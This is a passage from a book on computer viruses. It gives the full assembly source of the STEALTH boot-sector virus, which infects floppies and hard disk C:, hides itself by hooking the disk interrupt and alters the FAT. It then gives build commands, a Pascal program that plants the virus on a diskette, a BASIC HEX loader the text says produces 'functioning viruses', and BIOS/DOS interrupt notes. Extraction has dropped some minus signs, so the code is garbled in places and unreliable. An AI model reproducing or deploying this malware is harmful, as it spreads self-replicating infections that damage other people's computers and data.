IF_3: cmp bx,2880 ;is it 1.44M 3 1/2"? (2880 secs)
jnz IF_R ;no don't infect this disk
call INFECT_144M ;yes infect it
IF_R: pop es ;restore everyting and return
pop ds
pop dx
pop cx
pop bx
pop ax
pop di
pop si
popf
ret
;*******************************************************************************
;Infect a 360 Kilobyte drive. This is done by formatting Track 40, Head 0,
;Sectors 1 to 6, putting the present boot sector in Sector 6 with the virus
;code in sectors 1 through 5, and then replacing the boot sector on the disk
;with the viral boot sector.
INFECT_360K:
mov dl,al ;read the FAT from
mov cx,3 ;track 0, sector 3, head 0
mov dh,0
call READ_DISK
mov bx,ax
jc INF360_EXIT
mov di,OFFSET SCRATCHBUF + 11H ;modify the FAT in RAM
mov ax,[di] ;make sure nothing is stored
and ax,0FFF0H
or ax,[di+2] ;if it is, abort infect...
or ax,[di+4] ;don't wipe out any data
jnz INF360_EXIT ;if so, abort infection
mov ax,[di]
141 The Little Black Book of Computer Viruses
or ax,0FF70H
stosw
mov ax,07FF7H ;marking the last 6 clusters
stosw ;as bad
mov ax,00FFH
stosw
mov ax,bx ;write the FAT back to disk
mov cx,3 ;at track 0, sector 3, head 0
mov dl,bl
mov dh,0
call WRITE_DISK ;write the FAT back to disk
jc INF360_EXIT
INF360_RETRY:
mov dl,al ;write the 2nd FAT too,
mov cx,5 ;at track 0, sector 5, head 0
mov dh,0
call WRITE_DISK
jc INF360_RETRY ;must retry, since 1st fat done
call GET_BOOT_SEC ;read the boot sector in
jc INF360_EXIT
mov dl,al ;write the orig boot sector at
mov dh,1 ;head 1
mov cx,2709H ;track 39, sector 9
call WRITE_DISK
jc INF360_EXIT
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov BYTE PTR [DR_FLAG],0 ;set proper diskette type
pop ax
call PUT_BOOT_SEC ;go write it to disk
jc INF360_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,1 ;head 1
mov cx,2704H ;track 39, sector 4
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
INF360_EXIT:
ret ;all done
;*******************************************************************************
;Infect 1.2 megabyte Floppy Disk Drive AL with this virus. This is essentially
;the same as the 360K case.
INFECT_12M:
mov dl,al ;read the FAT from
mov cx,8 ;track 0, sector 8, head 0
mov dh,0
call READ_DISK
mov bx,ax
jc INF12M_EXIT
mov di,OFFSET SCRATCHBUF + 1DDH ;modify the FAT in RAM
mov ax,[di] ;make sure nothing is stored
or ax,[di+2] ;if it is, abort infect...
or ax,[di+4] ;don't wipe out any data
or ax,[di+6]
or ax,[di+8]
jnz INF12M_EXIT ;if so, abort infection
Appendix E: The STEALTH Virus 142
mov ax,07FF7H
stosw
mov ax,0F7FFH ;marking the last 6 clusters
stosw ;as bad
mov ax,0FF7FH
stosw
mov ax,07FF7H
stosw
mov ax,000FFH
stosw
mov ax,bx ;write the FAT back to disk
mov cx,8 ;at track 0, sector 8, head 0
mov dl,bl
mov dh,0
call WRITE_DISK ;write the FAT back to disk
jc INF12M_EXIT
INF12M_RETRY:
mov dl,al ;write the 2nd FAT too,
mov cx,0FH ;at track 0, sector 15, head 0
mov dh,0
call WRITE_DISK
jc INF12M_RETRY ;must retry, since 1st fat done
call GET_BOOT_SEC ;read the boot sector in
jc INF12M_EXIT
mov dl,al ;write the orig boot sector at
mov dh,1 ;head 1
mov cx,4F0FH ;track 79, sector 15
call WRITE_DISK
jc INF12M_EXIT
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov BYTE PTR [DR_FLAG],1 ;set proper diskette type
pop ax
call PUT_BOOT_SEC ;go write it to disk
jc INF12M_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,1 ;head 1
mov cx,4F0AH ;track 79, sector 10
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
INF12M_EXIT:
ret ;all done
;*******************************************************************************
;Infect a 3 1/2" 720K drive. This process is a little different than for 5 1/4"
;drives. The virus goes in an existing data area on the disk, so no formatting
;is required. Instead, we 1) Mark the diskette's FAT to indicate that the last
;three clusters are bad, so that DOS will not attempt to overwrite the virus
;code. 2) Read the boot sector and put it at Track 79, Head 1 sector 9, 3) Put
;the five sectors of stealth routines at Track 79, Head 1, sector 48, 4) Put
;the viral boot sector at Track 0, Head 0, Sector 1.
INFECT_720K:
mov dl,al ;read the FAT from
mov cx,4 ;track 0, sector 4, head 0
mov dh,0
call READ_DISK
mov bx,ax
jc INF720_EXIT
143 The Little Black Book of Computer Viruses
mov di,OFFSET SCRATCHBUF + 44 ;modify the FAT in RAM
mov ax,[di] ;make sure nothing is stored
or ax,[di+2] ;if it is, abort infect...
or ax,[di+4] ;don't wipe out any data
jnz INF720_EXIT ;if so, abort infection
mov ax,07FF7H
stosw
mov ax,0F7FFH ;marking the last 6 clusters
stosw ;as bad
mov ax,0000FH
stosw
mov ax,bx ;write the FAT back to disk
mov cx,4 ;at track 0, sector 4, head 0
mov dl,bl
mov dh,0
call WRITE_DISK ;write the FAT back to disk
jc INF720_EXIT
INF720_RETRY:
mov dl,al ;write the 2nd FAT too,
mov cx,7 ;at track 0, sector 7, head 0
mov dh,0
call WRITE_DISK
jc INF720_RETRY ;must retry, since 1st fat done
call GET_BOOT_SEC ;read the boot sector in
jc INF720_EXIT
mov dl,al ;write the orig boot sector at
mov dh,1 ;head 1
mov cx,4F09H ;track 79, sector 9
call WRITE_DISK
jc INF720_EXIT
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov BYTE PTR [DR_FLAG],2 ;set proper diskette type
pop ax
call PUT_BOOT_SEC ;go write it to disk
jc INF720_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,1 ;head 1
mov cx,4F04H ;track 79, sector 4
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
INF720_EXIT:
ret ;all done
;*******************************************************************************
;This routine infects a 1.44 megabyte 3 1/2" diskette. It is essentially the
;same as infecting a 720K diskette, except that the virus is placed in sectors
;1317 on Track 79, Head 0, and the original boot sector is placed in Sector 18.
INFECT_144M:
mov dl,al ;read the FAT from
mov cx,0AH ;track 0, sector 10, head 0
mov dh,0
call READ_DISK
mov bx,ax
jc INF720_EXIT
Appendix E: The STEALTH Virus 144
mov di,OFFSET SCRATCHBUF + 0A8H ;modify the FAT in RAM
mov ax,[di] ;make sure nothing is stored
and ax,0FFF0H ;in any of these clusters
or ax,[di+2] ;if it is, abort infect...
or ax,[di+4] ;don't wipe out any data
or ax,[di+6]
or ax,[di+8]
jnz INF144M_EXIT ;if so, abort infection
mov ax,es:[di]
and ax,000FH
add ax,0FF70H
stosw
mov ax,07FF7H ;marking the last 6 clusters
stosw ;as bad
mov ax,0F7FFH
stosw
mov ax,0FF7FH
stosw
mov ax,0FF7H
stosw
mov ax,bx ;write the FAT back to disk
mov cx,0AH ;at track 0, sector 10, head 0
mov dl,bl
mov dh,0
call WRITE_DISK ;write the FAT back to disk
jc INF144M_EXIT
INF144M_RETRY:
mov dl,al ;write the 2nd FAT too,
mov cx,1 ;at track 0, sector 1, head 1
mov dh,1
call WRITE_DISK
jc INF144M_RETRY ;must retry, since 1st fat done
call GET_BOOT_SEC ;read the boot sector in
jc INF144M_EXIT
mov dl,al ;write the orig boot sector at
mov dh,1 ;head 1
mov cx,4F12H ;track 79, sector 18
call WRITE_DISK
jc INF144M_EXIT
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov BYTE PTR [DR_FLAG],3 ;set proper diskette type
pop ax
call PUT_BOOT_SEC ;go write it to disk
jc INF144M_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,1 ;head 1
mov cx,4F0DH ;track 79, sector 13
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
INF144M_EXIT:
ret ;all done
;Read one sector into SCRATCHBUF from the location specified in dx,cx. Preserve
;ax, and return c set properly. Assumes es set up properly.
READ_DISK:
push ax
mov bx,OFFSET SCRATCHBUF
145 The Little Black Book of Computer Viruses
mov ax,0201H
pushf
call DWORD PTR [OLD_13H]
pop ax
ret
;Write one sector from SCRATCHBUF into the location specified in dx,cx. Preserve
;ax, and return c set properly.
WRITE_DISK:
push ax
mov bx,OFFSET SCRATCHBUF
mov ax,0301H
pushf
call DWORD PTR [OLD_13H]
pop ax
ret
;*******************************************************************************
;Infect Hard Disk Drive AL with this virus. This involves the following steps:
;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy
;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the STEALTH
;routines to Track 0, Head 0, Sector 2, 5 sectors total.
INFECT_HARD:
mov al,80H ;set drive type flag to hard
disk
mov BYTE PTR [DR_FLAG],al ;cause that's where it's going
call GET_BOOT_SEC ;read the present boot sector
mov bx,OFFSET SCRATCHBUF ;and go write it at
push ax
mov dl,al
mov dh,0 ;head 0
mov cx,0007H ;track 0, sector 7
mov ax,0301H ;BIOS write, for 1 sector
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov di,OFFSET BOOT_START + 200H 42H
mov si,OFFSET SCRATCHBUF + 200H 42H
mov cx,21H ;copy partition table
rep movsw ;to new boot sector too!
pop ax
call PUT_BOOT_SEC ;write viral boot sector
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,0 ;head 0
mov cx,0002H ;track 0, sector 2
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
ret
;*******************************************************************************
;This routine determines if a hard drive C: exists, and returns NZ if it does,
;Z if it does not.
IS_HARD_THERE:
Appendix E: The STEALTH Virus 146
push ds
xor ax,ax
mov ds,ax
mov bx,475H ;Get hard disk count from bios
mov al,[bx] ;put it in al
pop ds
cmp al,0 ;and see if al=0 (no drives)
ret
;*******************************************************************************
;Read the boot sector on the drive AL into SCRATCHBUF. This routine must
;prserve AL!
GET_BOOT_SEC:
push ax
mov bx,OFFSET SCRATCHBUF ;buffer for the boot sector
mov dl,al ;this is the drive to read from
mov dh,0 ;head 0
mov ch,0 ;track 0
mov cl,1 ;sector 1
mov al,1 ;read 1 sector
mov ah,2 ;BIOS read function
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
ret
;*******************************************************************************
;This routine writes the data in BOOT_START to the drive in al at Track 0,
;Head 0, Sector 1 for 1 sector, making that data the new boot sector.
PUT_BOOT_SEC:
push ax
mov bx,OFFSET BOOT_START
mov dl,al ;this is the drive to write to
mov dh,0 ;head 0
mov ch,0 ;track 0
mov cl,1 ;sector 1
mov al,1 ;read 1 sector
mov ah,3 ;BIOS write function
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
ret
;*******************************************************************************
;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,
;are checked to see if they are identical. If so, it must be the viral boot
;sector. It is assumed that es and ds are properly set to this segment when
;this is called.
IS_VBS:
push si ;save these
push di
cld
mov di,OFFSET BOOT ;set up for a compare
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT OFFSET BOOT_START)
mov si,OFFSET SB_BOOT ;required instead of ^ for A86
mov cx,15
repz cmpsw ;compare 30 bytes
pop di ;restore these
pop si
ret ;and return with z properly set
;*******************************************************************************
;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES *
;*******************************************************************************
ORG 7A00H
147 The Little Black Book of Computer Viruses
SCRATCHBUF: ;a total of 512 bytes
DB 3 dup (0)
SB_BOOT_DATA: ;with references to correspond
DB 32H dup (0) ;to various areas in the boot
SB_DR_FLAG: ;sector at 7C00
DB 0 ;these are only needed by A86
SB_BOOT: ;tasm and masm will let you
DB 458 dup (0) ;just do ``db 512 dup (0)''
;*******************************************************************************
;* THIS IS THE REPLACEMENT (VIRAL) BOOT SECTOR *
;*******************************************************************************
ORG 7C00H ;Starting location for boot sec
BOOT_START:
jmp SHORT BOOT ;jump over data area
db 090H ;an extra byte for near jump
BOOT_DATA:
db 32H dup (?) ;data area and default dbt
;(copied from orig boot sector)
DR_FLAG:DB 0 ;Drive type flag, 0=360K Floppy
; 1=1.2M Floppy
; 2=720K Floppy
; 3=1.4M Floppy
; 80H=Hard Disk
;The boot sector code starts here
BOOT:
cli ;interrupts off
xor ax,ax
mov ss,ax
mov ds,ax
mov es,ax ;set up segment registers
mov sp,OFFSET BOOT_START ;and stack pointer
sti
mov cl,6 ;prep to convert kb's to seg
mov ax,[MEMSIZE] ;get size of memory available
shl ax,cl ;convert KBytes into a segment
sub ax,7E0H ;subtract enough so this code
mov es,ax ;will have the right offset to
sub [MEMSIZE],4 ;go memory resident in high ram
GO_RELOC:
mov si,OFFSET BOOT_START ;set up ds:si and es:di in order
mov di,si ;to relocate this code
mov cx,256 ;to high memory
rep movsw ;and go move this sector
push es
mov ax,OFFSET RELOC
push ax ;push new far @RELOC onto stack
retf ;and go there with retf
RELOC: ;now we're in high memory
push es ;so let's install the virus
pop ds
nop
mov bx,OFFSET STEALTH ;set up buffer to read virus
mov al,BYTE PTR [DR_FLAG] ;drive number
cmp al,0 ;Load from proper drive type
jz LOAD_360
cmp al,1
jz LOAD_12M
cmp al,2
jz LOAD_720
cmp al,3
jz LOAD_14M ;if none of the above,
Appendix E: The STEALTH Virus 148
;then it's a hard disk
LOAD_HARD: ;load virus from hard disk
mov dx,80H ;hard drive 80H, head 0,
mov ch,0 ;track 0,
mov cl,2 ;start at sector 2
jmp SHORT LOAD1
LOAD_360: ;load virus from 360 K floppy
mov ch,39 ;track 39
mov cl,4 ;start at sector 4
jmp SHORT LOAD
LOAD_12M: ;load virus from 1.2 Meg floppy
mov ch,79 ;track 80
mov cl,10 ;start at sector 10
jmp SHORT LOAD
LOAD_720: ;load virus from 720K floppy
mov ch,79 ;track 79
mov cl,4 ;start at sector 4
jmp SHORT LOAD ;go do it
LOAD_14M: ;load from 1.44 Meg floppy
mov ch,79 ;track 79
mov cl,13 ;start at sector 13
; jmp SHORT LOAD ;go do it
LOAD: mov dx,100H ;disk 0, head 1
LOAD1: mov ax,206H ;read 6 sectors
int 13H ;call BIOS to read it
jc LOAD1 ;try again if it fails
MOVE_OLD_BS:
xor ax,ax ;now move old boot sector into
mov es,ax ;low memory
mov si,OFFSET SCRATCHBUF ;at 0000:7C00
mov di,OFFSET BOOT_START
mov cx,256
rep movsw
SET_SEGMENTS: ;change segments around a bit
cli
mov ax,cs
mov ss,ax
mov sp,OFFSET STEALTH ;set up the stack for the virus
push cs ;and also the es register
pop es
INSTALL_INT13H: ;now hook the Disk BIOS int
xor ax,ax
mov ds,ax
mov si,13H*4 ;save the old int 13H vector
mov di,OFFSET OLD_13H
movsw
movsw
mov ax,OFFSET INT_13H ;and set up new interrupt 13H
mov bx,13H*4 ;which everybody will have to
mov ds:[bx],ax ;use from now on
mov ax,es
mov ds:[bx+2],ax
sti
CHECK_DRIVE:
push cs ;set ds to point here now
pop ds
cmp BYTE PTR [DR_FLAG],80H ;if booting from a hard drive,
jz DONE ;nothing else needed at boot
FLOPPY_DISK: ;if loading from a floppy drive,
call IS_HARD_THERE ;see if a hard disk exists here
jz DONE ;no hard disk, all done booting
149 The Little Black Book of Computer Viruses
mov al,80H ;else load boot sector from C:
call GET_BOOT_SEC ;into SCRATCHBUF
call IS_VBS ;and see if C: is infected
jz DONE ;yes, all done booting
call INFECT_HARD ;else go infect hard drive C:
DONE:
mov si,OFFSET PART ;clean partition data out of
mov di,OFFSET PART+1 ;memory image of boot sector
mov cx,3FH ;so it doesn't get spread to
mov BYTE PTR [si],0 ;floppies when we infect them
rep movsb
xor ax,ax ;now go execute old boot sector
push ax ;at 0000:7C00
mov ax,OFFSET BOOT_START
push ax
retf
ORG 7DBEH
PART: DB 40H dup (?) ;partition table goes here
ORG 7DFEH
DB 55H,0AAH ;boot sector ID goes here
ENDCODE: ;label for the end of boot sec
COMSEG ENDS
END START
To compile STEALTH using MASM, generate a file
STEALTH.COM with the following commands:
masm stealth;
link stealth;
exe2bin stealth
ren stealth.bin stealth.com
To compile with TASM, execute the following steps:
tasm stealth;
tlink /t stealth;
Finally, to compile with A86, just type
A86 stealth.asm stealth.com
Once you have created STEALTH.COM, you must get it into the
right place on disk, which is not too easy without a special program.
The following Turbo Pascal program, PUT_360, uses the file
STEALTH.COM to put the STEALTH virus on a 360 kilobyte
diskette. It formats the extra track required, and then moves the
original boot sector, puts the main body of the virus in place, and
puts the viral boot sector in Track 0, Head 0, Sector 1.
Appendix E: The STEALTH Virus 150
program put_360; {This program puts the stealth virus STEALTH.COM on a }
{360K floppy diskette. }
uses dos;
var
disk_buffer :array[0..5119] of byte; {Data area to read virus into}
boot :array[0..511] of byte; {Data area to read boot sec into}
virus :file; {Virus code file variable}
j :integer;
{This function executes a BIOS Disk Access (int 13H) call.}
function biosdisk(cmd,drive,head,track,sector,nsects:integer;
buffer:pointer):byte;
var
regs :registers;
begin
regs.AH:=cmd; {ah = function number}
regs.DL:=drive; {dl = drive number}
regs.DH:=head; {dh = head number}
regs.CH:=track; {ch = track number}
regs.CL:=sector; {cl = sector number}
regs.AL:=nsects; {al = # of sectors to operate on}
regs.ES:=seg(buffer^); {es:bx = data buffer}
regs.BX:=ofs(buffer^);
intr($13,regs); {Execute the interrupt}
biosdisk:=regs.flags and 1; {Return code in ah}
end;
begin
if biosdisk(2,0,0,0,1,1 ,@boot)<>0 then {Read original boot sector}
writeln('Couldn''t read original boot sector!');
if biosdisk(3,0,1,39,9,1,@boot)<>0 then {Put it @ Trk 39, Hd 1, Sec 9}
writeln('Couldn''t write original boot sector!');
assign(virus,'STEALTH.COM'); {Open the virus code file}
reset(virus,256);
seek(virus,$6F); {Position fp to start of code}
BlockRead(virus,disk_buffer,10); {Read 5 sectors to ram}
for j:=1 to 5 do
if biosdisk(3,0,1,39,3+j,1,@disk_buffer[512*(j1)])<>0 then {Write it}
writeln('Couldn''t write stealth routines to disk! ',j);
seek(virus,$7B); {Position fp to viral boot sec}
BlockRead(virus,disk_buffer,2); {Read it}
move(boot[3],disk_buffer[3],$32); {Move orig boot data into it}
if biosdisk(3,0,0,0,1,1,@disk_buffer)<>0 then {And make it the new boot sec}
writeln('Couldn''t write viral boot sector to disk!');
close(virus);
if biosdisk(2,0,0,0,3,1,@disk_buffer)<>0 then
writeln('Couldn''t read FAT!');
disk_buffer[$11]:=$70;
disk_buffer[$12]:=$FF;
disk_buffer[$13]:=$F7;
disk_buffer[$14]:=$7F;
disk_buffer[$15]:=$FF;
if biosdisk(3,0,0,0,3,1,@disk_buffer)<>0 then
writeln('Couldn''t write FAT1!');
if biosdisk(3,0,0,0,5,1,@disk_buffer)<>0 then
writeln('Couldn''t write FAT2!');
end.
Compile this program with the command line ``tpc put_360" using
the Turbo Pascal command line compiler. To put STEALTH on a
disk, format a 360 kilobyte floppy disk (using the /s option to make
it a boot disk) and then run PUT_360 in the same directory as
STEALTH.COM. The program disk has PUT programs for other
formats, or you can modify PUT_360 to do it.
151 The Little Black Book of Computer Viruses
Appendix F: The HEX File Loader
The following basic program, LOAD.BAS, will translate
the HEX listings in the previous four appendicies into COM files.
The basic program will run under GWBASIC or BASICA.Youmay
type it in yourself using BASIC, and then type in the HEX files
using a word processor.
Using LOAD, you can create functioning viruses with this
book, without buying an assembler like MASM or TASM. Each of
the previous appendicies give you the details of how to get each
particular virus up and running.
When the program runs, you will be prompted for both
source and destination file names. When asked for the source file,
enter the HEX file name, including the ``HEX''. When asked for the
destination file name, enter the COM file name that you want to
create, including the ``COM''. The program will then read and
translate the HEX file. If everything goes OK, it will report ``Trans
lation complete.'' If there is a problem, it will report ``Checksum
error in line XX,'' which means that you made a mistake typing line
XX in. You should go back and check your HEX file for mistakes,
correct them, and try to run LOAD again.
For example, suppose you had created the VCOM.HEX
file with your word processor. Then to create a COM file from it,
you would load the LOAD program like this:
C:\GWBASIC LOAD.BAS
The dialogue would then look something like this:
Source file? VCOM.HEX
Destination file? VCOM.COM
Translation complete.
and the file VCOM.COM would now be on your disk, ready to
execute.
The source code for LOAD.BAS is as follows:
10 PRINT ``Source file'';
20 INPUT SFNAME$
30 PRINT ``Destination file'';
40 INPUT DFNAME$
50 OPEN SFNAME$ FOR INPUT AS #1
60 OPEN DFNAME$ FOR RANDOM AS #2 LEN=1
70 FIELD 2, 1 AS O$
80 E=0
90 LINECT=0
100 IF EOF(1) THEN GOTO 160
110 LINE INPUT #1, S$
120 LINECT=LINECT+1
130 GOSUB 200
140 GOTO 100
150 IF E=1 THEN GOTO 170
160 PRINT ``Translation complete.''
170 CLOSE #1
180 CLOSE #2
190 END
200 REM THIS SUBROUTINE DECOMPOSES ONE LINE OF THE HEX FILE
210 H$=LEFT$(S$,3)
220 H$=RIGHT$(H$,2)
230 GOSUB 540
240 COUNT%=X%
250 CSUM%=COUNT%
260 H$=LEFT$(S$,7)
270 H$=RIGHT$(H$,4)
280 GOSUB 540
290 ADDR%=X%
300 CSUM%=CSUM%+(ADDR%\256)+(ADDR% AND 255)
310 H$=LEFT$(S$,9)
320 H$=RIGHT$(H$,2)
330 IF H$<>"00" THEN GOTO 160
340 FOR J%=1 TO COUNT%
350 H$=LEFT$(S$,9+2*J%)
360 H$=RIGHT$(H$,2)
370 GOSUB 500
380 CSUM%=CSUM%+X%
390 LSET O$=C$
400 PUT #2, ADDR%+J%
410 NEXT J%
153 The Little Black Book of Computer Viruses
420 H$=LEFT$(S$,11+2*COUNT%)
430 H$=RIGHT$(H$,2)
440 GOSUB 540
450 CSUM%=CSUM%+X%
460 IF (CSUM% AND 255) = 0 THEN RETURN
470 PRINT ``Checksum error in line '';LINECT
480 E=1
490 GOTO 150
500 REM THIS SUBROUTINE CONVERTS A HEX STRING IN H$ TO A
BYTE in C$
510 GOSUB 540
520 C$=CHR$(X%)
530 RETURN
540 REM THIS SUBROUTINE CONVERTS A HEX STRING IN H$ TO AN
INTEGER IN X
550 X%=0
560 IF LEN(H$)=0 THEN RETURN
570 Y%=ASC(H$)48
580 IF Y%>9 THEN Y%=Y%7
590 X%=16*X%+Y%
600 H$=RIGHT$(H$,LEN(H$)1)
610 GOTO 560
Note that the HEX files and loader presented in this book
are a little different from the usual. There is a reason for that.
Appendix F: The HEX File Loader 154
Appendix G:
BIOS and DOS Interrupt Functions
All BIOS and DOS calls which are used in this book are
documented here. No attempt is made at an exhaustive list, since
such information has been published abundantly in a variety of
sources. See Appendix H for some books with more complete
interrupt information.
Interrupt 10H: BIOS Video Services
Function 0E Hex: Write TTY to Active Page
Registers ah = 0EH
al = Character to display
bl = Forground color, in graphics modes
Returns: None
This function displays the character in al on the screen at the current cursor
location and advances the cursor by one position. It interprets al=0DH as
a carriage return, al=0AH as a line feed, al=08 as a backspace, and al=07
as a bell. When used in a graphics mode, bl is made the foreground color.
In text modes, the character attribute is left unchanged.
Interrupt 13H: BIOS Disk Services
Function 0: Reset Disk System
Registers: ah = 0
Returns: c = set on error
This function resets the disk system, sendinga reset command to the floppy
disk controller.
Function 2: Read Sectors from Disk
Registers: ah = 2
al = Number of sectors to read on same track, head
cl = Sector number to start reading from
ch = Track number to read
dh = Head number to read
dl = Drive number to read
es:bx = Buffer to read sectors into
Returns: c = set on error
ah = Error code, set as follows (for all Int 13H fctns)
80 H Disk drive failed to respond
40 H Seek operation failed
20 H Bad NEC controller chip
10 H Bad CRC on disk read
09 H 64K DMA boundary crossed
08 H Bad DMA chip
06 H Diskette changed
04 H Sector not found
03 H Write on write protected disk
02 H Address mark not found on disk
01 H Bad command sent to disk i/o
Function 2 reads sectors from the specified disk at a given Track, Head
and Sector number into a buffer in RAM. A successful read returns ah=0
and no carry flag. If there is an error, the carry flag is set and ah is used
to return an error code. Note that no waiting time for motor startup is
156 The Little Black Book of Computer Viruses
allowed, so if this function returns an error, it should be tried up to three
times.
Function 3: Write Sectors to disk
Registers: ah = 3
al = Number of sectors to write on same track, head
cl = Sector number to start writing from
ch = Track number to write
dh = Head number to write
dl = Drive number to write
es:bx = Buffer to write sectors from
Returns: c = set on error
ah = Error code (as above)
This function works just like the read, except sectors are written to disk
from the specified buffer
Function 5: Format Sectors
Registers: ah = 5
al = Number of sectors to format on this track, head
cl = Not used
ch = Track number to format
dh = Head number to format
dl = Drive number to format
es:bx = Buffer for special format information
Returns: c = set on error
ah = Error code (as above)
The buffer at es:bx should contain 4 bytes for each sector to be formatted
on the disk. These are the address fields which the disk controller uses to
locate the sectors during read/write operations. The four bytes should be
organized as C,H,R,N;C,H,R,N, etc., where C=Track number, H=Head
number, R=Sector number, N=Bytes per sector, where 0=128, 1=256,
2=512, 3=1024.
Appendix G: BIOS and DOS Interrupt Functions 157
Interrupt 1AH: BIOS Time of Day Services
Function 0: Read Current Clock Setting
Registers: ah = 0
Returns: cx = High portion of clock count
dx = Low portion of clock count
al = 0 if timer has not passed 24 hour count
al = 1 if timer has passed 24 hour count
The clock count returned by this function is the number of timer ticks since
midnight. A tick occurrs every 1193180/65536 of a second, or about 18.2
times a second.
Interrupt 21H: DOS Services
Function 9: Print String to Standard Output
Registers: ah = 9
ds:dx = Pointer to string to print
Returns: None
The character string at ds:dx is printed to the standard output device
(which is usually the screen). The string must be terminated by a ``$''
character, and may contain carriage returns, line feeds, etc.
Function 1AH: Set Disk Transfer Area Address
Registers: ah = 1AH
ds:dx = New disk transfer area address
Returns: None
This function sets the Disk Transfer Area (DTA) address to the value given
in ds:dx. It is meaningful only within the context of a given program.
158 The Little Black Book of Computer Viruses
When the program is terminated, etc., its DTA goes away with it. The
default DTA is at offset 80H in the Program Segment Prefix (PSP).
Function 2FH: Read Disk Transfer Area Address
Registers: ah = 2FH
Returns: es:bx = Pointer to the current DTA
This is the complement of function 1A. It reads the Disk Transfer Area
address into the register pair es:bx.
Function 31H: Terminate and Stay Resident
Registers: ah = 31H
al = Exit code
dx = Memory size to keep, in paragraphs
Returns: (Does not return)
Function 31H causes a program to become memory resident (a TSR),
remaining in memory and returning control to DOS. The exit code in al
will be zero if the program is terminating successfully, and something else
(programmer defined) to indicate that an error occurred. The register dx
must contain the number of 16 byte paragraphs of memory that DOS
should leave in memory when the program terminates. For example, if one
wants to leave a 367 byte COM file in memory, one must save 367+256
bytes, or 39 paragraphs. (That doesn't leave room for a stack, either.)
Function 3DH: Open File
Registers: ah = 3DH
ds:dx = Pointer to an ASCIIZ path/file name
al = Open mode
Returns: c = set if open failed
ax = File handle, if open was successful
ax = Error code, if open failed
This function opens the file specified by the null terminated string at ds:dx,
which may include a specific path. The value in al is broken out as follows:
Appendix G: BIOS and DOS Interrupt Functions 159
Bit 7: Inheritance flag, I.
I=0 means the file is inherited by child processes
I=1 means it is private to the current process.
Bits 46: Sharing mode, S.
S=0 is compatibility mode
S=1 is exclusive mode
S=2 is deny write mode
S=3 is deny read mode
S=4 is deny none mode.
Bit 3: Reserved, should be 0
Bit 02: Access mode, A.
A=0 is read mode
A=1 is write mode
A=2 is read/write mode
In this book we are only concerned with the access mode. For more
information on sharing, etc., see IBM's Disk Operating System Technical
Reference or one of the other books cited in the references. The file handle
returned by DOS when the open is successful may be any 16 bit number.
It is unique to the file just opened, and used by all subsequent file
operations to reference the file.
Function 3EH: Close File
Registers: ah = 3EH
bx = File handle of file to close
Returns: c = set if an error occurs closing the file
ax = Error code in the event of an error
This closes a file opened by Function 3DH, simply by passing the file
handle to DOS.
Function 3FH: Read from a File
Registers: ah = 3FH
bx = File handle
cx = Number of bytes to read
ds:dx = Pointer to buffer to put file data in
160 The Little Black Book of Computer Viruses
Returns: c = set if an error occurs
ax = Number of bytes read, if read is successful
ax = Error code in the event of an error
Function 3F reads cx bytes from the file referenced by handle bx into the
buffer ds:dx. The data is read from the file starting at the current file
pointer. The file pointer is initialized to zero when the file is opened, and
updated every time a read or write is performed.
Function 40H: Write to a File
Registers: ah = 40H
bx = File handle
cx = Number of bytes to write
ds:dx = Pointer to buffer to get file data from
Returns: c = set if an error occurs
ax = Number of bytes written, if write is successful
ax = Error code in the event of an error
Function 40H writes cx bytes to the file referenced by handle bx from the
buffer ds:dx. The data is written to the file starting at the current file
pointer.
Function 41H: Delete File
Registers: ah = 41H
ds:dx = Pointer to ASCIIZ string of path/file to delete
Returns: c = set if an error occurs
ax = Error code in the event of an error
This function deletes a file from disk, as specified by the path and file
name in the null terminated string at ds:dx.
